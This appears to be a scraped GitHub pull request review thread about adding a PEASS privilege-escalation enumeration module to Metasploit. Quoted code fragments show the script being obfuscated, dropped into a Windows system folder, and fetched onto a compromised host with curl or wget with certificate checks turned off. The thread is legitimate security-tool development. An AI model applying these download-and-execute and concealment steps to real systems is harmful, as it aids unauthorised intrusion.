Add post/multi/gather/peass #20208

jeffmcjunkin · 2025-05-19T20:53:12Z

Based upon discussion in peass-ng/PEASS-ng#465 and the Metasploit Slack, this module is now BSD licensed and may be eligible for inclusion.

I am not the author, merely a fan trying to ~~make two toys kiss~~ integrate PEASS without requiring users to add it themselves.

Verification

List the steps needed to make sure this thing works

Start msfconsole
Gain a meterpreter session through sheer willpower (Windows, or Linux)
use post/multi/gather/peass
set WINPEASS false (if running against a Linux target)
run
Receive advice on how to escalate privileges
How it works

Based upon discussion in peass-ng/PEASS-ng#465 and the Metasploit Slack, this module is now BSD licensed and may be eligible for inclusion.

modules/post/multi/gather/peass.rb

jvoisin · 2025-05-20T13:42:35Z

modules/post/multi/gather/peass.rb

+    )
+    register_options(
+      [
+        OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]),


This should be an enumeration rather than a boolean.

modules/post/multi/gather/peass.rb

jvoisin · 2025-05-20T13:43:53Z

modules/post/multi/gather/peass.rb

+      [
+        OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]),
+        OptString.new('CUSTOM_URL', [false, 'URL to download the PEASS script from (if not using the default one). Accepts http(s) or absolute path. Overrides the WINPEASS variable', '']),
+        OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),


Does this need to be configurable by the user in the first place?

I'm open to removing it, just wanted to get the conversation started with a Rubocop-passing variant of the original module.

jvoisin · 2025-05-20T13:46:27Z

modules/post/multi/gather/peass.rb

+    else
+      # If no Windows, check if base64 exists
+      if !session.platform.include?('win')
+        base64_path = cmd_exec('command -v base64')


You can use openssl enc -d -A -base64 instead.

Is openssl more commonly installed than base64? If so, I'm open to it.

jvoisin · 2025-05-20T13:48:00Z

modules/post/multi/gather/peass.rb

+        OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
+        OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
+        OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15 * 60]),
+        OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']),
+        OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]),
+        OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]),
+        OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', '/' + rand(36**4).to_s(36) + '.txt'])


I think™ that metasploit has some utilities/function to upload'n'execute scripts/binaries. Summoning @zeroSteiner !

We do yes and that's probably how I'd write it, where the code is sent directly from Metasploit over the Meterpreter C&C channel rather than fetched out of band via HTTP. However, that'd realistically require us to have the binary within our source tree like we do SharpHound / Bloodhound. The catch there is the license changes would have to also be applied to that code as well for us to distribute. If we're not modifying the binary, I think we'll be compatible with additional licenses.

That approach would have the downside of some one time license research but would likely be both easier for the operator since they'll have fewer options to tinker with and connections to debug and I'd argue more secure in the case of Meterpreter comms.

bcoles

The rand(36**7).to_s(36) code pattern is used throughout to generate random strings.

Using Rex::Text.rand_text_alphanumeric(7) is preferred.

Or, if lowercase is required: Rex::Text.rand_text_alphanumeric(7).downcase.

modules/post/multi/gather/peass.rb

Co-authored-by: Julien Voisin <[email protected]>

Co-authored-by: bcoles <[email protected]>

jeffmcjunkin · 2025-05-20T15:41:06Z

The rand(36**7).to_s(36) code pattern is used throughout to generate random strings.

Using Rex::Text.rand_text_alphanumeric(7) is preferred.

Or, if lowercase is required: Rex::Text.rand_text_alphanumeric(7).downcase.

Updated, thank you.

jheysel-r7 · 2025-05-22T14:03:51Z

modules/post/multi/gather/peass.rb

@@ -0,0 +1,396 @@
+# Copyright (c) 2025, PEASS-ng owners


Could we add this license to the external license file please? @bwatters-r7

jheysel-r7 · 2025-05-22T14:11:39Z

modules/post/multi/gather/peass.rb

+        end
+
+      elsif session.platform.include?('win')
+        temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}"


Suggested change

temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}"

temp_path = get_env('WINDIR') + "\\System32\\spool\\drivers\\color\\#{temp_peass_name}"

Does this need to be system32?

jheysel-r7 · 2025-05-22T14:29:41Z

modules/post/multi/gather/peass.rb

+        OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']),
+        OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]),
+        OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]),
+        OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', '/' + Rex::Text.rand_text_alphanumeric(4) + '.txt'])


Could we add a DeFanged mode OptBool here in order to instruct the user to that they're about to run an external script that might have implications not necessarily included with Metasploit.
https://github.com/search?q=repo%3Arapid7%2Fmetasploit-framework%20DEFANG&type=code

jheysel-r7 · 2025-05-22T14:32:49Z

modules/post/multi/gather/peass.rb

+        cmd = "curl -k -s \"#{url_download_peass}\""
+        curl_path = cmd_exec('command -v curl')
+        if !curl_path.include?('curl')
+          cmd = "wget --no-check-certificate -q -O - \"#{url_download_peass}\""


Would we be able to make this a datastore option where checking certificates is the default? Maybe a generic option that covers security checks for all methods of downloading.

bwatters-r7 · 2025-05-22T14:41:37Z

modules/post/multi/gather/peass.rb

+    file.rewind
+    @temp_file_path = file.path
+
+    if datastore['SRVHOST'] == ''


Is there a circumstance where uploading via https is preferrable to simply uploading through the session?

bwatters-r7 · 2025-05-22T14:41:51Z

modules/post/multi/gather/peass.rb

+        end
+
+      elsif session.platform.include?('win')
+        temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}"


Does this need to be system32?

jeffmcjunkin added 2 commits May 19, 2025 13:46

Add post/multi/gather/peass

5ecaa8b

Based upon discussion in peass-ng/PEASS-ng#465 and the Metasploit Slack, this module is now BSD licensed and may be eligible for inclusion.

Update peass.rb: Fixed rubocop issues

75bab62

jvoisin reviewed May 20, 2025

View reviewed changes

bcoles reviewed May 20, 2025

View reviewed changes

modules/post/multi/gather/peass.rb Outdated Show resolved Hide resolved

bcoles reviewed May 20, 2025

View reviewed changes

modules/post/multi/gather/peass.rb Outdated Show resolved Hide resolved

jeffmcjunkin and others added 5 commits May 20, 2025 08:35

Update modules/post/multi/gather/peass.rb

107f4ea

Co-authored-by: Julien Voisin <[email protected]>

Update modules/post/multi/gather/peass.rb

fa11b97

Co-authored-by: Julien Voisin <[email protected]>

Update modules/post/multi/gather/peass.rb

8c5ffc5

Co-authored-by: bcoles <[email protected]>

Update modules/post/multi/gather/peass.rb

e3a517b

Co-authored-by: bcoles <[email protected]>

Update peass.rb: Move to Rex::Text.rand_text_alphanumeric

574f65d

Update peass.rb: Use Base64.strict_encode64

d268811

bwatters-r7 self-assigned this May 22, 2025

jheysel-r7 reviewed May 22, 2025

View reviewed changes

bwatters-r7 reviewed May 22, 2025

View reviewed changes

	temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}"
	temp_path = get_env('WINDIR') + "\\System32\\spool\\drivers\\color\\#{temp_peass_name}"

Add post/multi/gather/peass #20208

Are you sure you want to change the base?

Add post/multi/gather/peass #20208

Uh oh!

Conversation

jeffmcjunkin commented May 19, 2025

Verification

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

bcoles left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

jeffmcjunkin commented May 20, 2025

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!